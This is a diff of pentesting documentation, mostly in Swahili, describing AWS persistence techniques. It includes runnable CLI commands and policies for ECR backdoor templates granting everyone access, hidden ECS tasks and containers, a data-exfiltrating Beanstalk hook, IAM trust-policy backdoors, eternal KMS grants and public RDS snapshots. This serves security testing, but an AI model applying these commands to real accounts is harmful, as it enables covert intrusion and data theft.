+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (prefix backdoor for future repos)
+
+Tumia vibaya ECR Repository Creation Templates ili ku-backdoor kwa otomatiki repository yoyote ambayo ECR huunda kwa auto chini ya prefix iliyodhibitiwa (kwa mfano kupitia Pull-Through Cache au Create-on-Push). Hii inatoa ufikiaji wa kudumu usioidhinishwa kwa repos za baadaye bila kugusa zile zilizopo.
+
+- Ruhusa zinazohitajika: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (kama role maalum imeambatanishwa na template).
+- Athari: Kila repository mpya inayoundwa chini ya prefix lengwa inarithi kwa otomatiki repository policy inayodhibitiwa na mshambuliaji (mfano, cross-account read/write), tag mutability, na scanning defaults.
+
+<details>
+<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

@@ -1,93 +0,0 @@
-# AWS - ECS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Kazi ya ECS ya Kila Wakati Isiyoonekana
-
-> [!NOTE]
-> TODO: Test
-
-Mshambuliaji anaweza kuunda kazi ya ECS ya kila wakati isiyoonekana kwa kutumia Amazon EventBridge ili **kuweka ratiba ya utekelezaji wa kazi mbaya kila wakati**. Kazi hii inaweza kufanya upelelezi, kuhamasisha data, au kudumisha kudumu katika akaunti ya AWS.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### Backdoor Container katika Mwelekeo wa ECS uliopo
-
-> [!NOTE]
-> TODO: Test
-
-Mshambuliaji anaweza kuongeza **container ya nyuma isiyoonekana** katika mwelekeo wa ECS uliopo inayotembea sambamba na container halali. Container ya nyuma inaweza kutumika kwa kudumu na kufanya shughuli za uhalifu.
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### Huduma ya ECS Isiyoandikwa
-
-> [!NOTE]
-> TODO: Test
-
-Mshambuliaji anaweza kuunda **huduma ya ECS isiyoandikwa** inayotekeleza kazi mbaya. Kwa kuweka idadi inayotakiwa ya kazi kuwa ya chini na kuzima uandishi wa habari, inakuwa vigumu kwa wasimamizi kugundua huduma hiyo mbaya.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md

@@ -0,0 +1,151 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Kwa taarifa zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Hidden Periodic ECS Task
+
+> [!NOTE]
+> TODO: Jaribu
+
+Mshambuliaji anaweza kuunda hidden periodic ECS task kwa kutumia Amazon EventBridge ili **schedule the execution of a malicious task periodically**. Kazi hii inaweza kufanya reconnaissance, exfiltrate data, au maintain persistence katika akaunti ya AWS.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container katika ECS Task Definition iliyopo
+
+> [!NOTE]
+> TODO: Jaribu
+
+Mshambuliaji anaweza kuongeza **stealthy backdoor container** katika ECS task definition iliyopo ambayo inaendesha sambamba na containers halali. Backdoor container inaweza kutumika kwa persistence na kutekeleza shughuli za uharibu.
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### Huduma ya ECS isiyoandikwa
+
+> [!NOTE]
+> TODO: Jaribu
+
+Mshambuliaji anaweza kuunda **huduma ya ECS isiyoandikwa** inayotekeleza task ya kibaya. Kwa kuweka idadi inayotarajiwa ya tasks kuwa ya chini kabisa na kuzima logging, inakuwa vigumu kwa wasimamizi kugundua huduma ya kibaya.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
+
+Tumia kwa matumizi mabaya ecs:UpdateTaskProtection ili kuzuia service tasks kusimamishwa na scale‑in events na rolling deployments. Kwa kuendelea kuendeleza ulinzi, attacker anaweza kuweka task yenye uhai mrefu ikikimbia (kwa C2 au ukusanyaji wa data) hata kama defenders wanapunguza desiredCount au push new task revisions.
+
+Hatua za kurudia katika us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+Athari: protected task inabaki RUNNING licha ya desiredCount=0 na inazuia replacements wakati wa new deployments, ikiruhusu stealthy long‑lived persistence ndani ya huduma ya ECS.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md

@@ -1,21 +0,0 @@
-# AWS - EFS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### Badilisha Sera ya Rasilimali / Vikundi vya Usalama
-
-Kwa kubadilisha **sera ya rasilimali na/v au vikundi vya usalama** unaweza kujaribu kudumisha ufikiaji wako kwenye mfumo wa faili.
-
-### Unda Kituo cha Ufikiaji
-
-Unaweza **kuunda kituo cha ufikiaji** (kilicho na ufikiaji wa mizizi kwa `/`) kinachoweza kufikiwa kutoka kwa huduma ambayo umeanzisha **muhimu nyingine** ili kudumisha ufikiaji wa kijasiri kwenye mfumo wa faili.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Kwa maelezo zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Badilisha Resource Policy / Security Groups
+
+Kwa kubadilisha **resource policy and/or security groups** unaweza kujaribu kudumisha ufikiaji wako kwenye file system.
+
+### Tengeneza Access Point
+
+Unaweza **create an access point** (ikiwa na root access kwa `/`) ambayo inaweza kupatikana kutoka kwa service ambapo umeweka **other persistence**, ili kudumisha privileged access kwenye file system.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md

@@ -1,35 +1,35 @@
 # AWS - Elastic Beanstalk Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
 Kwa maelezo zaidi angalia:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 ### Persistence in Instance
 
-Ili kudumisha uendelevu ndani ya akaunti ya AWS, **mekanismu ya uendelevu inaweza kuanzishwa ndani ya instance** (kazi ya cron, funguo za ssh...) ili mshambuliaji aweze kuipata na kuiba **credentials za IAM role kutoka huduma ya metadata**.
+Ili kudumisha persistence ndani ya AWS account, inaweza kuanzishwa baadhi ya **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) ili mshambuliaji aweze kuifikia na kunyakua IAM role **credentials from the metadata service**.
 
 ### Backdoor in Version
 
-Mshambuliaji anaweza kuweka backdoor kwenye msimbo ndani ya repo ya S3 ili kila wakati ifanye kazi yake ya backdoor na msimbo unaotarajiwa.
+Mshambuliaji anaweza backdoor the code inside the S3 repo ili kila mara itekeleze backdoor yake pamoja na the expected code.
 
 ### New backdoored version
 
-Badala ya kubadilisha msimbo kwenye toleo halisi, mshambuliaji anaweza kupeleka toleo jipya lililo na backdoor la programu.
+Badala ya kubadilisha the code kwenye version ya sasa, mshambuliaji anaweza ku-deploy version mpya iliyebackdoored ya application.
 
 ### Abusing Custom Resource Lifecycle Hooks
 
 > [!NOTE]
 > TODO: Test
 
-Elastic Beanstalk inatoa hooks za mzunguko wa maisha ambazo zinakuwezesha kuendesha skripti za kawaida wakati wa upatikanaji na kumaliza instance. Mshambuliaji anaweza **kuweka hook ya mzunguko wa maisha ili mara kwa mara kuendesha skripti inayotoa data au kudumisha ufikiaji wa akaunti ya AWS**.
+Elastic Beanstalk hutoa lifecycle hooks zinazokuja kukuruhusu kuendesha custom scripts wakati wa instance provisioning na termination. Mshambuliaji anaweza **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md

@@ -1,47 +0,0 @@
-# AWS - IAM Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Kwa maelezo zaidi tembelea:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### Uthibitishaji wa kawaida wa IAM
-
-- Unda mtumiaji
-- Ongeza mtumiaji anayedhibitiwa kwenye kundi lenye mamlaka
-- Unda funguo za ufikiaji (za mtumiaji mpya au za watumiaji wote)
-- Toa ruhusa za ziada kwa watumiaji/vidokezo vilivyodhibitiwa (sera zilizounganishwa au sera za ndani)
-- Zima MFA / Ongeza kifaa chako cha MFA
-- Unda hali ya Mnyororo wa Jukumu (zaidi kuhusu hii hapa chini katika uthibitishaji wa STS)
-
-### Sera za Kuamini za Backdoor
-
-Unaweza kuingiza backdoor kwenye sera ya kuamini ili uweze kuichukua kwa rasilimali ya nje inayodhibitiwa na wewe (au kwa kila mtu):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### Sera ya Backdoor Toleo
-
-Patia ruhusa za Msimamizi kwa sera katika toleo lake si la mwisho (toleo la mwisho linapaswa kuonekana halali), kisha piga hiyo sera kwa mtumiaji/jeshi lililodhibitiwa.
-
-### Backdoor / Unda Mtoa Kitambulisho
-
-Ikiwa akaunti tayari inategemea mtoa kitambulisho wa kawaida (kama Github) masharti ya uaminifu yanaweza kuongezwa ili mshambuliaji aweze kuyatumia. 
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - IAM Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Kwa taarifa zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### Persistence ya kawaida ya IAM
+
+- Unda mtumiaji
+- Ongeza mtumiaji unaodhibitiwa kwenye kundi lenye ruhusa za juu
+- Tengeneza access keys (za mtumiaji mpya au za watumiaji wote)
+- Toa ruhusa za ziada kwa watumiaji/kundi unaodhibitiwa (attached policies or inline policies)
+- Zima MFA / Ongeza kifaa chako cha MFA
+- Tengeneza hali ya Role Chain Juggling (more on this below in STS persistence)
+
+### Backdoor Role Trust Policies
+
+Unaweza backdoor trust policy ili uweze kuitumia (assume) kwa rasilimali ya nje inayodhibitiwa na wewe (au kwa kila mtu):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### Backdoor Policy Version
+
+Toa ruhusa za Administrator kwa sera ambayo si toleo lake la mwisho (toleo la mwisho liwe linaonekana halali), kisha wateue toleo hilo la sera kwa mtumiaji/kikundi unaodhibiti.
+
+### Backdoor / Create Identity Provider
+
+Ikiwa akaunti tayari ina imani na identity provider ya kawaida (kama Github), masharti ya uaminifu yanaweza kuongezwa ili mshambuliaji aweze kuyatumia vibaya.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md

@@ -1,37 +0,0 @@
-# AWS - KMS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Toa ufikiaji kupitia sera za KMS
-
-Mshambuliaji anaweza kutumia ruhusa **`kms:PutKeyPolicy`** ili **kutoa ufikiaji** kwa funguo kwa mtumiaji chini ya udhibiti wake au hata kwa akaunti ya nje. Angalia [**ukurasa wa KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) kwa maelezo zaidi.
-
-### Grant ya Milele
-
-Grants ni njia nyingine ya kutoa ruhusa kwa msingi fulani juu ya funguo maalum. Inawezekana kutoa grant inayomruhusu mtumiaji kuunda grants. Zaidi ya hayo, mtumiaji anaweza kuwa na grants kadhaa (hata sawa) juu ya funguo hiyo hiyo.
-
-Hivyo, inawezekana kwa mtumiaji kuwa na grants 10 zikiwa na ruhusa zote. Mshambuliaji anapaswa kufuatilia hili mara kwa mara. Na ikiwa kwa wakati fulani grant 1 itatolewa, nyingine 10 zinapaswa kuundwa.
-
-(Tunatumia 10 na si 2 ili kuweza kugundua kwamba grant iliondolewa wakati mtumiaji bado ana grant fulani)
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> Utoaji unaweza kutoa ruhusa tu kutoka hapa: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md

@@ -0,0 +1,37 @@
+# AWS - KMS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Kwa taarifa zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Grant acces via KMS policies
+
+Mshambuliaji anaweza kutumia ruhusa **`kms:PutKeyPolicy`** ili **kumpa upatikanaji** kwa key kwa mtumiaji aliye chini ya udhibiti wake au hata kwa akaunti ya nje. Angalia [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) kwa taarifa zaidi.
+
+### Eternal Grant
+
+Grants ni njia nyingine ya kumpa principal ruhusa fulani juu ya key maalum. Inawezekana kutoa grant inayomruhusu mtumiaji kuunda grants. Zaidi ya hayo, mtumiaji anaweza kuwa na grants kadhaa (hata sawa) juu ya key ile ile.
+
+Kwa hivyo, inawezekana kwa mtumiaji kuwa na grants 10 zenye ruhusa zote. Mshambuliaji anapaswa kusimamia hili mara kwa mara. Na ikiwa kwa wakati fulani grant 1 itaondolewa, grants nyingine 10 zinapaswa kuundwa.
+
+(Tunatumia 10 badala ya 2 ili kuweza kutambua kwamba grant iliondolewa huku mtumiaji bado akiwa na grant nyingine)
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> Grant inaweza kutoa ruhusa tu kutoka hapa: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md

@@ -1,33 +0,0 @@
-# AWS - Lightsail Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Pakua funguo za SSH za Instance & nywila za DB
-
-Haziwezi kubadilishwa labda hivyo kuwa nazo ni chaguo nzuri kwa ajili ya kudumu
-
-### Backdoor Instances
-
-Mshambuliaji anaweza kupata ufikiaji wa instances na kuziingiza backdoor:
-
-- Kutumia **rootkit** wa jadi kwa mfano
-- Kuongeza **funguo mpya za SSH za umma**
-- Kufichua bandari kwa kutumia port knocking na backdoor
-
-### DNS persistence
-
-Ikiwa majina ya kikoa yamewekwa:
-
-- Unda subdomain inayolenga IP yako ili uwe na **subdomain takeover**
-- Unda rekodi ya **SPF** inayokuruhusu kutuma **barua pepe** kutoka kwa kikoa
-- Sanidi **IP ya kikoa kikuu kuwa yako mwenyewe** na fanya **MitM** kutoka IP yako hadi zile halali
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md

@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Pakua SSH keys za instance & nywila za DB
+
+Labda hazitabadilika, hivyo kuzikuwa nazo ni chaguo nzuri kwa persistence
+
+### Backdoor Instances
+
+Muvamizi anaweza kupata ufikiaji wa instances na kuzi-backdoor:
+
+- Kutumia **rootkit** ya jadi kwa mfano
+- Kuongeza **public SSH key** mpya
+- Kufungua port kwa port knocking pamoja na backdoor
+
+### DNS persistence
+
+Ikiwa domains zimewekwa:
+
+- Unda subdomain inayoelekeza IP yako ili uwe na **subdomain takeover**
+- Tengeneza rekodi ya **SPF** ikikuruhusu kutuma **emails** kutoka kwa domain
+- Sanidi **main domain IP to your own one** na fanya **MitM** kutoka IP yako hadi zile halali
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md

@@ -1,27 +0,0 @@
-# AWS - RDS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## RDS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
-{{#endref}}
-
-### Fanya mfano uweze kupatikana hadharani: `rds:ModifyDBInstance`
-
-Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha mfano wa RDS uliopo ili kuwezesha upatikanaji wa hadharani**.
-```bash
-aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
-```
-### Unda mtumiaji wa admin ndani ya DB
-
-Mshambuliaji anaweza tu **kuunda mtumiaji ndani ya DB** hivyo hata kama nenosiri la mtumiaji mkuu limebadilishwa **hampotezi ufikiaji** wa hifadhidata.
-
-### Fanya picha kuwa ya umma
-```bash
-aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - RDS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## RDS
+
+Kwa taarifa zaidi, angalia:
+
+{{#ref}}
+../../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### Fanya instance ipatikane kwa umma: `rds:ModifyDBInstance`
+
+Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha instance ya RDS iliyopo ili kuwezesha upatikanaji wa umma**.
+```bash
+aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
+```
+### Unda mtumiaji admin ndani ya DB
+
+Mshambuliaji anaweza tu **kuunda mtumiaji ndani ya DB**, hivyo hata kama nenosiri la mtumiaji mkuu linabadilishwa, **hatapoteza ufikiaji** wa database.
+
+### Fanya snapshot iwe ya umma
+```bash
+aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md

@@ -1,25 +0,0 @@
-# AWS - S3 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### KMS Client-Side Encryption
-
-Wakati mchakato wa usimbaji unakamilika, mtumiaji atatumia KMS API kuunda funguo mpya (`aws kms generate-data-key`) na at **hifadhi funguo iliyoundwa iliyosimbwa ndani ya metadata** ya faili ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ili wakati usimbuaji unapotokea, inaweza kuisimbua tena kwa kutumia KMS:
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-Hivyo, mshambuliaji anaweza kupata funguo hii kutoka kwenye metadata na kuisimbua kwa KMS (`aws kms decrypt`) ili kupata funguo iliyotumika kusimbua taarifa. Kwa njia hii mshambuliaji atakuwa na funguo ya usimbuaji na ikiwa funguo hiyo itatumika tena kusimbua faili nyingine ataweza kuitumia.
-
-### Using S3 ACLs
-
-Ingawa kawaida ACLs za ndoo zimezimwa, mshambuliaji mwenye ruhusa za kutosha anaweza kuzitumia vibaya (ikiwa zimewezeshwa au ikiwa mshambuliaji anaweza kuzifanya ziweze) ili kuendelea kupata ufikiaji wa ndoo ya S3.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md

@@ -0,0 +1,25 @@
+# AWS - S3 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Kwa habari zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS Client-Side Encryption
+
